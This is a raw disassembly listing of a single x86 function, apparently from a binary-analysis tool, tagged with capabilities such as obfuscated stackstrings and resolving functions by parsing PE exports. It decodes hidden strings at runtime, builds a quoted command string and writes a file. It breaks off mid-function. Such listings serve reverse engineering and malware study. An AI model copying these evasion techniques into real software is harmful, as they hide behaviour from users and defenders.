Function at 0x412a50
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x808
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00402780
mov ebx, eax
cmp ebx, 0
jne 0x412a78
xor eax, eax
jmp 0x414aed
xor esi, esi
jmp 0x412a7c
mov dword [esp], ebx
call fcn.00402b50
cmp esi, eax
jb 0x412a8f
mov al, 1
jmp 0x414aed
mov dword [esp], ebx
mov dword [esp + 4], esi
call fcn.00402b60
mov dword [esp + 0x3c], eax
mov al, byte [esp + 0x1b8]
mov byte [esp + 0x1d0], al
mov byte [esp + 0x4a], 8
mov byte [esp + 0x4b], 0xbe
xor eax, eax
cmp eax, 2
jae 0x412af8
movzx edx, byte [esp + eax + 0x4a]
mov edi, eax
shl edi, 1
and edi, 0x5b56ca2a
mov ecx, eax
xor ecx, 0xadab6515
add ecx, edi
xor ecx, edx
mov edx, ecx
and edx, 0xa9
xor edx, 0xa9
and ecx, 0x56
sub ecx, edx
add cl, 1
mov byte [esp + eax + 0x4a], cl
add eax, 1
jmp 0x412ab9
lea eax, [esp + 0x4a]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 2
call fcn.00402a50
cmp eax, 0
je 0x412c32
mov dword [esp + 0x30], esi
mov dword [esp + 0x50], ebx
mov al, byte [esp + 0x1b4]
mov byte [esp + 0x1d4], al
mov byte [esp + 0x67], 0x31
mov byte [esp + 0x68], 0x1c
mov byte [esp + 0x69], 0x89
xor eax, eax
cmp eax, 3
jae 0x412ba3
movzx edi, byte [esp + eax + 0x67]
mov ecx, 0x6404f010
sub ecx, eax
or ecx, edi
mov edx, 0x6404f010
sub edx, eax
mov ebx, 0x6404f010
sub ebx, eax
mov esi, 0x6404f010
sub esi, eax
and ebx, esi
or edx, ebx
mov esi, edi
shl esi, 1
xor esi, 0xffffffff
add esi, edi
mov edi, esi
and edi, edx
xor edx, esi
sub edx, esi
add edx, edi
mov esi, ecx
shl esi, 1
xor esi, 0xffffffff
add ecx, esi
or edx, ecx
add dl, 0x88
mov byte [esp + eax + 0x67], dl
mov ecx, eax
shl ecx, 1
and ecx, 2
xor eax, 1
add eax, ecx
jmp 0x412b44
lea eax, [esp + 0x67]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 3
call fcn.00402a50
cmp eax, 0
setne al
mov ebx, dword [esp + 0x50]
mov esi, dword [esp + 0x30]
test al, 1
jne 0x412bd3
jmp 0x412c32
mov al, byte [esp + 0x1b0]
mov byte [esp + 0x1d8], al
mov byte [esp + 0x48], 0xa
mov byte [esp + 0x49], 0xa0
xor eax, eax
cmp eax, 2
jae 0x412c09
mov cl, byte [esp + eax + 0x48]
mov dl, al
add dl, 0x17
xor dl, cl
add dl, 0x48
mov byte [esp + eax + 0x48], dl
add eax, 1
jmp 0x412bed
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00402a50
sub eax, 1
mov al, 1
sbb al, 0xff
test al, 1
jne 0x412c34
jmp 0x412c39
jmp 0x412c34
jmp 0x414ae5
mov al, byte [esp + 0x1ac]
mov byte [esp + 0x1dc], al
mov byte [esp + 0x46], 0xe3
mov byte [esp + 0x47], 0x77
xor eax, eax
cmp eax, 2
jae 0x412c86
mov dl, byte [esp + eax + 0x46]
mov esi, eax
add esi, 1
mov ecx, eax
xor ecx, 0xffffffff
or ecx, 0x46
add ecx, esi
mov esi, eax
or esi, 0x46
add ecx, esi
xor cl, dl
add cl, 0xd0
mov byte [esp + eax + 0x46], cl
mov ecx, eax
shl ecx, 1
or eax, ecx
xor eax, 1
jmp 0x412c53
lea eax, [esp + 0x46]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402490
mov dword [esp + 0x298], eax
mov al, byte [esp + 0x1a8]
mov byte [esp + 0x1e0], al
mov byte [esp + 0x64], 0x28
mov byte [esp + 0x65], 0x1b
mov byte [esp + 0x66], 0x70
xor eax, eax
cmp eax, 3
jae 0x412cdc
mov cl, byte [esp + eax + 0x64]
mov dl, al
add dl, 0x7e
xor dl, cl
add dl, 0x10
mov byte [esp + eax + 0x64], dl
add eax, 1
jmp 0x412cc0
lea eax, [esp + 0x64]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00402590
fnstcw word [esp + 0x98]
movzx eax, word [esp + 0x98]
or eax, 0xc00
mov word [esp + 0x246], ax
fldcw word [esp + 0x246]
fistp dword [esp + 0x2ac]
fldcw word [esp + 0x98]
mov eax, dword [esp + 0x2ac]
mov dword [esp + 0x4c], eax
mov al, byte [esp + 0x1a4]
mov byte [esp + 0x1e4], al
mov byte [esp + 0x44], 0x2b
mov byte [esp + 0x45], 0x8f
xor eax, eax
cmp eax, 2
jae 0x412d7a
movzx edx, byte [esp + eax + 0x44]
mov ecx, eax
add ecx, 0x7e
mov esi, eax
add esi, 0x7e
and ecx, esi
mov esi, edx
xor esi, 0xffffffff
or ecx, esi
mov esi, 0x81
sub esi, eax
or esi, edx
xor ecx, esi
add cl, 0x10
mov byte [esp + eax + 0x44], cl
add eax, 1
jmp 0x412d46
lea eax, [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
call fcn.00402590
fnstcw word [esp + 0x96]
movzx eax, word [esp + 0x96]
or eax, 0xc00
mov word [esp + 0x244], ax
fldcw word [esp + 0x244]
fistp dword [esp + 0x2a8]
fldcw word [esp + 0x96]
mov edi, dword [esp + 0x2a8]
lea eax, [esp + 0x404]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0x400
mov eax, dword [esp + 0x298]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b450
lea eax, [esp + 0x404]
lea ecx, [esp + 0x34]
lea edx, [esp + 0x258]
xor esi, esi
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], 0
call fcn.0040bb50
test al, 1
jne 0x412e2b
mov esi, dword [esp + 0x30]
jmp 0x414ae5
cmp edi, 0
sete al
mov esi, dword [esp + 0x30]
mov byte [esp + 0x5d], al
test al, 1
jne 0x412e42
jmp 0x4140e8
mov al, byte [esp + 0x1a0]
mov byte [esp + 0x1e8], al
mov byte [esp + 0x42], 0x9b
mov byte [esp + 0x43], 0xc
xor eax, eax
cmp eax, 2
jae 0x412e91
mov dl, byte [esp + eax + 0x42]
mov esi, eax
add esi, 0x13
mov ecx, 0x6c
sub ecx, eax
and ecx, 0xcc
and esi, 0x33
or ecx, esi
mov esi, dword [esp + 0x30]
xor cl, dl
xor cl, 0xcc
add cl, 0x68
mov byte [esp + eax + 0x42], cl
add eax, 1
jmp 0x412e5c
lea eax, [esp + 0x42]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402490
cmp eax, 0
je 0x4130ea
mov dword [esp + 0x268], eax
mov dword [esp], eax
call fcn.00414b00
mov dword [esp + 0x248], eax
add eax, 1
mov ecx, 2
mov dword [esp + 0x260], eax
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x412ee4
mov ecx, eax
mov dword [esp], ecx
call fcn.00408bd0
mov edi, eax
xor eax, eax
mov dword [esp], edi
mov eax, dword [esp + 0x260]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x268]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b450
xor eax, eax
lea eax, [esp + 0x19c]
mov dword [esp], 0
mov dword [esp + 0xc0], edi
mov dword [esp + 4], edi
mov ecx, dword [esp + 0x248]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], eax
call dword [0x449578]
sub esp, 0x18
mov dword [esp + 0x288], eax
mov al, byte [esp + 0x198]
mov byte [esp + 0x1ec], al
mov byte [esp + 0x7a], 0x1e
mov byte [esp + 0x7b], 0x7e
mov byte [esp + 0x7c], 0x7f
mov byte [esp + 0x7d], 0xb0
xor ecx, ecx
cmp ecx, 4
jae 0x412fce
movzx eax, byte [esp + ecx + 0x7a]
mov edi, ecx
add edi, 0xcbe941d5
mov esi, ecx
shl esi, 1
add esi, 0x97d283ab
mov edx, edi
sub edx, esi
mov esi, edx
or esi, eax
xor edx, eax
add edx, eax
sub edx, esi
mov esi, dword [esp + 0x30]
or edi, eax
xor edi, 0xffffffff
or edx, edi
mov eax, edx
shl eax, 1
xor eax, 0xffffffff
add edx, eax
add dl, 0x58
mov byte [esp + ecx + 0x7a], dl
add ecx, 1
jmp 0x412f84
mov eax, dword [esp + 0x7a]
cmp dword [esp + 0x288], eax
jne 0x41300c
jmp 0x412fdd
mov eax, dword [esp + 0xc0]
mov dword [esp], eax
call fcn.00408be0
jmp 0x412fee
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
mov dword [esp + 0x2c], 0
mov eax, 4
jmp 0x4130dc
mov eax, dword [esp + 0x19c]
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x413029
mov ecx, eax
mov dword [esp], ecx
call fcn.00408bd0
mov ecx, dword [0x449578]
mov dword [esp + 0x25c], ecx
mov ecx, dword [esp + 0x19c]
xor edx, edx
lea edx, [esp + 0x19c]
mov dword [esp], 0
mov edi, dword [esp + 0xc0]
mov dword [esp + 4], edi
mov edi, eax
mov eax, dword [esp + 0x248]
mov dword [esp + 8], eax
mov dword [esp + 0x2c], edi
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
call dword [esp + 0x25c]
sub esp, 0x18
cmp eax, 0
setge al
test al, 1
jne 0x4130c7
jmp 0x413093
jmp 0x413095
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.00408be0
jmp 0x4130a3
mov eax, dword [esp + 0xc0]
mov dword [esp], eax
call fcn.00408be0
jmp 0x4130b4
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
mov eax, 4
jmp 0x4130dc
jmp 0x4130c9
mov eax, dword [esp + 0xc0]
mov dword [esp], eax
call fcn.00408be0
xor eax, eax
jmp 0x4130dc
cmp eax, 0
je 0x41380d
jmp 0x41380f
call fcn.004093f0
and eax, 0xf
xor ecx, ecx
sub ecx, eax
add ecx, 0xfffffff0
xor eax, eax
sub eax, ecx
xor edx, edx
lea esi, [esp + 0x3c4]
jmp 0x41310b
cmp edx, eax
jb 0x4132f5
mov word [esi], 0
mov al, byte [esp + 0x190]
mov byte [esp + 0x1f4], al
mov byte [esp + 0xc6], 0xad
mov byte [esp + 0xc7], 0x89
mov byte [esp + 0xc8], 0x5e
mov byte [esp + 0xc9], 0x8b
mov byte [esp + 0xca], 0x49
mov byte [esp + 0xcb], 0x8d
mov byte [esp + 0xcc], 0x43
mov byte [esp + 0xcd], 0x8f
mov byte [esp + 0xce], 0x40
mov byte [esp + 0xcf], 0x91
mov byte [esp + 0xd0], 0xb7
mov byte [esp + 0xd1], 0x93
mov byte [esp + 0xd2], 0x48
mov byte [esp + 0xd3], 0x95
mov byte [esp + 0xd4], 0x96
mov byte [esp + 0xd5], 0x97
xor eax, eax
cmp eax, 0x10
jae 0x4131ec
movzx edx, byte [esp + eax + 0xc6]
mov ecx, eax
add ecx, 0xb50d87c8
xor ecx, edx
mov edx, ecx
shl edx, 1
and edx, 0x7e
xor ecx, 0xbf
add ecx, edx
add cl, 1
mov byte [esp + eax + 0xc6], cl
mov ecx, eax
shl ecx, 1
and ecx, 2
mov edx, eax
and edx, ecx
or eax, ecx
xor eax, 1
add eax, edx
jmp 0x4131a8
lea eax, [esp + 0x364]
lea ecx, [esp + 0xc6]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a900
lea ecx, [esp + 0x3c4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a900
lea ecx, [esp + 0x364]
sub eax, ecx
sar eax, 1
mov esi, dword [0x449578]
jmp 0x41322c
xor ecx, ecx
lea ecx, [esp + 0x364]
lea edx, [esp + 0x18c]
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 0x29c], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], edx
call esi
sub esp, 0x18
mov cl, byte [esp + 0x188]
mov byte [esp + 0x1f8], cl
mov byte [esp + 0x72], 0x3c
mov byte [esp + 0x73], 0x50
mov byte [esp + 0x74], 0x51
mov byte [esp + 0x75], 0x92
xor ecx, ecx
cmp ecx, 4
jae 0x4132e0
movzx esi, byte [esp + ecx + 0x72]
mov edi, ecx
shl edi, 1
and edi, 0x282512ce
mov edx, ecx
xor edx, 0x14128967
add edx, edi
xor edx, esi
mov esi, edx
add esi, 1
mov edi, edx
xor edi, 0xffffffff
or edi, 0x47
add edi, esi
shl edi, 1
mov esi, edx
shl esi, 1
and esi, 0x8e
add edx, 0xc7
sub edx, esi
add edx, edi
add dl, 1
mov byte [esp + ecx + 0x72], dl
add ecx, 1
jmp 0x41328f
mov ecx, dword [esp + 0x72]
cmp eax, ecx
mov esi, dword [esp + 0x30]
jne 0x4133bd
jmp 0x4133db
mov dword [esp + 0x290], edx
mov dword [esp + 0x294], eax
call fcn.004093f0
mov dword [esp + 0x274], eax
mov cl, byte [esp + 0x194]
mov byte [esp + 0x1f0], cl
mov byte [esp + 0x76], 0x5f
mov byte [esp + 0x77], 0x7c
mov byte [esp + 0x78], 0x7d
mov byte [esp + 0x79], 0x7e
xor ecx, ecx
cmp ecx, 4
jae 0x413380
movzx edx, byte [esp + ecx + 0x76]
mov eax, esi
mov esi, ecx
add esi, 0x4475f263
mov edi, edx
xor edi, 0xffffffff
and esi, edi
mov edi, 0x9c
sub edi, ecx
and edi, edx
or edi, esi
mov edx, edi
add edx, 1
mov esi, edi
xor esi, 0xffffffff
or esi, 0x67
add edx, esi
mov esi, eax
shl edx, 1
xor edi, 0xe7
add edx, edi
add dl, 1
mov byte [esp + ecx + 0x76], dl
add ecx, 1
jmp 0x413333
mov eax, dword [esp + 0x274]
cdq
idiv dword [esp + 0x76]
movsx eax, byte [edx + 0x440b8c]
mov ecx, esi
add ecx, 2
mov word [esi], ax
mov edx, dword [esp + 0x290]
mov eax, edx
and eax, 1
shl eax, 1
xor edx, 1
add edx, eax
mov esi, ecx
mov eax, dword [esp + 0x294]
jmp 0x41310b
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
mov dword [esp + 0x2c], 0
mov eax, 4
jmp 0x413808
mov eax, dword [esp + 0x18c]
mov cl, byte [esp + 0x184]
mov byte [esp + 0x1fc], cl
mov byte [esp + 0x6e], 0x1a
mov byte [esp + 0x6f], 0x1f
mov byte [esp + 0x70], 0
mov byte [esp + 0x71], 1
xor edi, edi
cmp edi, 4
jae 0x413433
movzx esi, byte [esp + edi + 0x6e]
mov edx, 0x91
sub edx, edi
or edx, esi
mov ecx, 0x91
sub ecx, edi
and ecx, esi
xor edx, 0xffffffff
or ecx, edx
add cl, 0x90
mov byte [esp + edi + 0x6e], cl
add edi, 1
jmp 0x413406
mov ecx, dword [esp + 0x6e]
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x413455
mov ecx, eax
mov dword [esp], ecx
call fcn.00408bd0
mov edi, dword [0x449578]
mov ecx, dword [esp + 0x18c]
xor edx, edx
lea edx, [esp + 0x364]
lea esi, [esp + 0x18c]
mov dword [esp], 0
mov dword [esp + 4], edx
mov edx, dword [esp + 0x29c]
mov dword [esp + 8], edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], esi
call edi
sub esp, 0x18
cmp eax, 0
setge al
test al, 1
mov esi, dword [esp + 0x30]
jne 0x4134d9
jmp 0x4134b5
jmp 0x4134b7
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.00408be0
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
mov eax, 4
jmp 0x413808
mov eax, dword [esp + 0x4c]
cmp eax, 0
jne 0x4135f5
mov al, byte [esp + 0x180]
mov byte [esp + 0x200], al
mov byte [esp + 0xb6], 0xe5
mov byte [esp + 0xb7], 0xbc
mov byte [esp + 0xb8], 0xd8
mov byte [esp + 0xb9], 0xbe
mov byte [esp + 0xba], 0x37
mov byte [esp + 0xbb], 0xb0
mov byte [esp + 0xbc], 0xd4
mov byte [esp + 0xbd], 0xb2
mov byte [esp + 0xbe], 0xb3
mov byte [esp + 0xbf], 0xb4
xor edx, edx
cmp edx, 0xa
jae 0x4135d5
movzx ecx, byte [esp + edx + 0xb6]
mov dword [esp + 0x264], ecx
mov eax, edx
add eax, 0xa3
mov esi, 0xefede45c
sub esi, edx
or esi, ecx
mov ecx, esi
xor ecx, 0xffffffff
shl ecx, 1
add ecx, esi
mov edi, 0x5c
sub edi, edx
and edi, 0x7e
and eax, 0x81
or edi, eax
xor edi, 0x81
mov eax, 0x5c
sub eax, edx
or edi, eax
add ecx, 1
and edi, dword [esp + 0x264]
mov eax, edi
xor eax, 0xffffffff
mov esi, ecx
and esi, eax
mov eax, ecx
xor eax, edi
add ecx, eax
sub ecx, esi
mov eax, ecx
add eax, 0xe7
shl ecx, 1
and ecx, 2
xor ecx, 2
xor eax, 1
add eax, ecx
mov byte [esp + edx + 0xb6], al
add edx, 1
jmp 0x413546
lea eax, [esp + 0xb6]
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00414f00
mov esi, dword [esp + 0x30]
jmp 0x413804
cmp eax, 1
sete al
test al, 1
jne 0x413604
jmp 0x4136d6
mov al, byte [esp + 0x17c]
mov byte [esp + 0x204], al
mov byte [esp + 0xac], 0xe8
mov byte [esp + 0xad], 0x87
mov byte [esp + 0xae], 0x2c
mov byte [esp + 0xaf], 0x89
mov byte [esp + 0xb0], 0x26
mov byte [esp + 0xb1], 0x8b
mov byte [esp + 0xb2], 0x20
mov byte [esp + 0xb3], 0x8d
mov byte [esp + 0xb4], 0x8e
mov byte [esp + 0xb5], 0x8f
xor eax, eax
cmp eax, 0xa
jae 0x4136b6
movzx esi, byte [esp + eax + 0xac]
mov ecx, 0xc9
sub ecx, eax
or ecx, esi
mov edx, 0xc9
sub edx, eax
and edx, esi
xor ecx, 0xffffffff
or edx, ecx
add dl, 0x50
mov byte [esp + eax + 0xac], dl
mov ecx, eax
and ecx, 0xe
xor ecx, 0xfe83261e
and eax, 1
sub eax, ecx
add eax, 1
mov ecx, eax
and ecx, 0x21e
or eax, 0xfe83261e
add eax, ecx
jmp 0x413664
lea eax, [esp + 0xac]
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00414f00
mov esi, dword [esp + 0x30]
jmp 0x413804
mov eax, dword [esp + 0x4c]
cmp eax, 2
sete al
jmp 0x4136e2
test al, 1
jne 0x4136eb
jmp 0x413804
mov al, byte [esp + 0x178]
mov byte [esp + 0x208], al
mov byte [esp + 0xa2], 0x18
mov byte [esp + 0xa3], 0x77
mov byte [esp + 0xa4], 0xe8
mov byte [esp + 0xa5], 0x79
mov byte [esp + 0xa6], 0xe9
mov byte [esp + 0xa7], 0x7b
mov byte [esp + 0xa8], 0x2d
mov byte [esp + 0xa9], 0x7d
mov byte [esp + 0xaa], 0x7e
mov byte [esp + 0xab], 0x7f
xor edx, edx
cmp edx, 0xa
jae 0x4137eb
movzx edi, byte [esp + edx + 0xa2]
mov dword [esp + 0x26c], edi
mov ecx, edx
add ecx, 0x5fd62a46
mov esi, 0xb9
sub esi, edx
and esi, edi
xor edi, 0xffffffff
mov eax, ecx
and eax, edi
or eax, esi
mov esi, 0xa029d5b9
sub esi, edx
mov edi, 0xa029d5b9
sub edi, edx
and edi, esi
or eax, edi
mov edi, eax
xor edi, 0xffffffff
mov esi, edi
and esi, 0xfffffffd
and eax, 2
imul eax, esi
mov esi, edi
and esi, 2
or edi, 2
imul edi, esi
mov esi, dword [esp + 0x30]
add edi, eax
sub ecx, edi
add ecx, dword [esp + 0x26c]
add ecx, 0xd99256f9
mov eax, ecx
xor eax, 0xd843a92a
shl ecx, 1
and ecx, 0x4f78adaa
sub ecx, eax
mov eax, ecx
shl eax, 1
and eax, 2
xor ecx, 1
add ecx, eax
mov byte [esp + edx + 0xa2], cl
add edx, 1
jmp 0x41374b
lea eax, [esp + 0xa2]
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00414f00
jmp 0x413804
xor eax, eax
jmp 0x413808
cmp eax, 0
jne 0x41380f
xor eax, eax
cmp eax, 0
jne 0x414ae5
lea eax, [esp + 0x254]
xor ecx, ecx
mov ecx, dword [esp + 0x2c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x100002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 5
mov dword [esp + 0x14], 0x60
mov dword [esp + 0x18], 0x80
call fcn.0043e090
mov edi, eax
cmp eax, 0
setge al
test al, 1
jne 0x41386a
jmp 0x413980
mov eax, dword [esp + 0x258]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x254]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0043e710
mov edi, eax
mov eax, dword [esp + 0x254]
mov dword [esp + 0x28c], eax
mov al, byte [esp + 0x1cc]
mov byte [esp + 0x230], al
mov byte [esp + 0x8e], 0x64
mov byte [esp + 0x8f], 0x63
mov byte [esp + 0x90], 0x62
mov byte [esp + 0x91], 0x61
xor eax, eax
cmp eax, 4
jae 0x4138f8
mov cl, byte [esp + eax + 0x8e]
mov dl, al
add dl, 0xf3
xor dl, cl
add dl, 0x68
mov byte [esp + eax + 0x8e], dl
add eax, 1
jmp 0x4138d6
mov eax, dword [esp + 0x8e]
mov dword [esp + 0x284], eax
xor edx, edx
mov esi, dword [esp + 0x30]
cmp edx, dword [0x44957c]
jb 0x413916
jmp 0x41397e
mov eax, dword [0x449580]
cmp dword [eax + edx*8], 0xb430e561
sete cl
mov byte [esp + 0x59], cl
test cl, 1
jne 0x413930
jmp 0x413970
mov eax, dword [eax + edx*8 + 4]
cmp eax, dword [esp + 0x284]
je 0x413970
mov ecx, dword [0x449584]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esp + 0x28c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x270], edx
call fcn.0043c320
mov edx, dword [esp + 0x270]
test byte [esp + 0x59], 1
je 0x413979
jmp 0x41397e
add edx, 1
jmp 0x41390c
jmp 0x413980
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.0043a810
mov dword [esp + 0x34], 0
cmp edi, 0
jge 0x4139ab
mov dword [esp + 0x38], 0
mov eax, 4
jmp 0x4140da
mov eax, dword [esp + 0x4c]
cmp eax, 1
sete al
jmp 0x4139b7
test al, 1
jne 0x4139c0
jmp 0x413d9d
mov al, byte [esp + 0x174]
mov byte [esp + 0x20c], al
mov byte [esp + 0x61], 0x7c
mov byte [esp + 0x62], 0x75
mov byte [esp + 0x63], 0x9c
xor eax, eax
cmp eax, 3
jae 0x413a12
movzx esi, byte [esp + eax + 0x61]
mov edx, eax
add edx, 0xb066eaca
mov ecx, edx
or ecx, esi
mov edi, eax
add edi, 0xca
or edx, edi
and edx, esi
add ecx, 0x2a
sub ecx, edx
add cl, 0x86
mov byte [esp + eax + 0x61], cl
add eax, 1
jmp 0x4139df
lea eax, [esp + 0x61]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402490
mov dword [esp + 0x158], eax
mov al, byte [esp + 0x170]
mov byte [esp + 0x210], al
mov byte [esp + 0x5e], 0xf9
mov byte [esp + 0x5f], 0xeb
mov byte [esp + 0x60], 0x1a
xor eax, eax
mov edi, dword [esp + 0x2c]
cmp eax, 3
jae 0x413a89
movzx edx, byte [esp + eax + 0x5e]
mov ecx, eax
add ecx, 0xd8
and ecx, edx
mov esi, 0x27
sub esi, eax
mov edi, edx
shl edi, 1
xor edi, 0xffffffff
add edi, edx
and esi, edi
mov edi, dword [esp + 0x2c]
or ecx, esi
mov dl, 0x3f
sub dl, cl
mov byte [esp + eax + 0x5e], dl
add eax, 1
jmp 0x413a50
lea eax, [esp + 0x5e]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00402490
mov esi, eax
mov dword [esp], edi
call fcn.00414f50
mov ebx, eax
cmp dword [esp + 0x158], 0
setne al
mov dword [esp + 0x154], 0
mov byte [esp + 0x5b], al
test al, 1
jne 0x413ac9
jmp 0x413ae4
mov eax, dword [esp + 0x158]
mov dword [esp], eax
call fcn.00408df0
add eax, 1
mov dword [esp + 0x154], eax
jmp 0x413ae4
cmp esi, 0
setne cl
xor eax, eax
mov byte [esp + 0x5c], cl
test cl, 1
jne 0x413af7
jmp 0x413b02
mov dword [esp], esi
call fcn.00408df0
sub eax, 0xffffffff
add ebx, 9
sub ebx, 0xeb55ab1d
add ebx, dword [esp + 0x154]
add ebx, 0xeb55ab1d
add ebx, 0x530f7bf2
mov dword [esp + 0x2a0], eax
add ebx, eax
sub ebx, 0x530f7bf2
add ebx, 1
mov ecx, 2
mov eax, ebx
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x413b48
mov ecx, eax
mov dword [esp + 0x2a4], esi
mov dword [esp], ecx
call fcn.00408bd0
mov dword [esp + 0x38], eax
mov al, byte [esp + 0x16c]
mov byte [esp + 0x214], al
mov byte [esp + 0xd6], 0xeb
mov byte [esp + 0xd7], 0x9a
mov byte [esp + 0xd8], 0xee
mov byte [esp + 0xd9], 0x9c
mov byte [esp + 0xda], 0xe3
mov byte [esp + 0xdb], 0x9e
mov byte [esp + 0xdc], 0xfb
mov byte [esp + 0xdd], 0x90
mov byte [esp + 0xde], 0xed
mov byte [esp + 0xdf], 0x92
mov byte [esp + 0xe0], 0xef
mov byte [esp + 0xe1], 0x94
mov byte [esp + 0xe2], 0xa6
mov byte [esp + 0xe3], 0x96
mov byte [esp + 0xe4], 0xa5
mov byte [esp + 0xe5], 0xa8
mov byte [esp + 0xe6], 0xa9
mov byte [esp + 0xe7], 0xaa
xor eax, eax
cmp eax, 0x12
jae 0x413ca2
movzx ecx, byte [esp + eax + 0xd6]
mov edx, eax
add edx, 0xeab1bd11
mov edi, 0x154e42ee
sub edi, eax
and edi, 0x85ebda1f
mov esi, edx
and esi, 0x7a1425e0
or edi, esi
xor edi, ecx
xor edi, 0x7a1425e0
and edx, edi
mov esi, edx
and esi, 2
xor esi, 2
mov edi, edx
and edi, 0xfffffffd
imul edi, esi
mov esi, edx
and esi, 2
or edx, 2
imul edx, esi
add edx, edi
sub edx, eax
mov esi, edx
add esi, 0x154e42ef
mov edi, ecx
xor edi, 0xffffffff
and esi, edi
mov edi, 0x10
sub edi, edx
and edi, ecx
sub edi, esi
mov ecx, edi
add ecx, 0xaa721777
shl edi, 1
and edi, 2
xor edi, 2
mov edx, ecx
shl edx, 1
and edx, 2
add edx, 0xff
sub ecx, edx
add ecx, edi
mov edi, dword [esp + 0x2c]
mov byte [esp + eax + 0xd6], cl
add eax, 1
jmp 0x413bfb
lea eax, [esp + 0xd6]
mov ecx, dword [esp + 0x38]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a900
mov ecx, eax
add ecx, 2
mov word [eax], 0x20
add ecx, 2
mov word [eax + 2], 0x22
mov dword [esp], ecx
mov dword [esp + 4], edi
call fcn.0040a900
mov ecx, edi
mov edi, eax
add edi, 2
mov word [eax], 0x22
cmp ecx, 0
sete al
mov esi, dword [esp + 0x30]
test al, 1
jne 0x413d02
jmp 0x413cf4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.00408be0
jmp 0x413d02
test byte [esp + 0x5b], 1
jne 0x413d0f
mov ebx, dword [esp + 0x50]
jmp 0x413d4b
mov ebx, edi
add ebx, 2
mov word [edi], 0x2c
xor eax, eax
mov dword [esp], ebx
mov eax, dword [esp + 0x154]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x158]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b450
shl eax, 1
add ebx, eax
mov edi, ebx
mov ebx, dword [esp + 0x50]
test byte [esp + 0x5c], 1
jne 0x413d54
jmp 0x413d88
mov eax, edi
add eax, 2
mov word [edi], 0x2c
xor ecx, ecx
mov dword [esp], eax
mov eax, dword [esp + 0x2a0]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x2a4]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040b450
jmp 0x413d88
mov dword [esp + 0x2c], 0
mov dword [esp + 0x4c], 0
jmp 0x4140d8
cmp dword [esp + 0x4c], 2
sete al
jmp 0x413da7
mov dword [esp + 0x38], 0
test al, 1
jne 0x413db8
jmp 0x4140d8
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call fcn.00414f50
add eax, 0xd407628d
sub eax, 0xd4076270
add eax, 0xb80c54e7
add eax, 1
sub eax, 0xb80c54e7
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
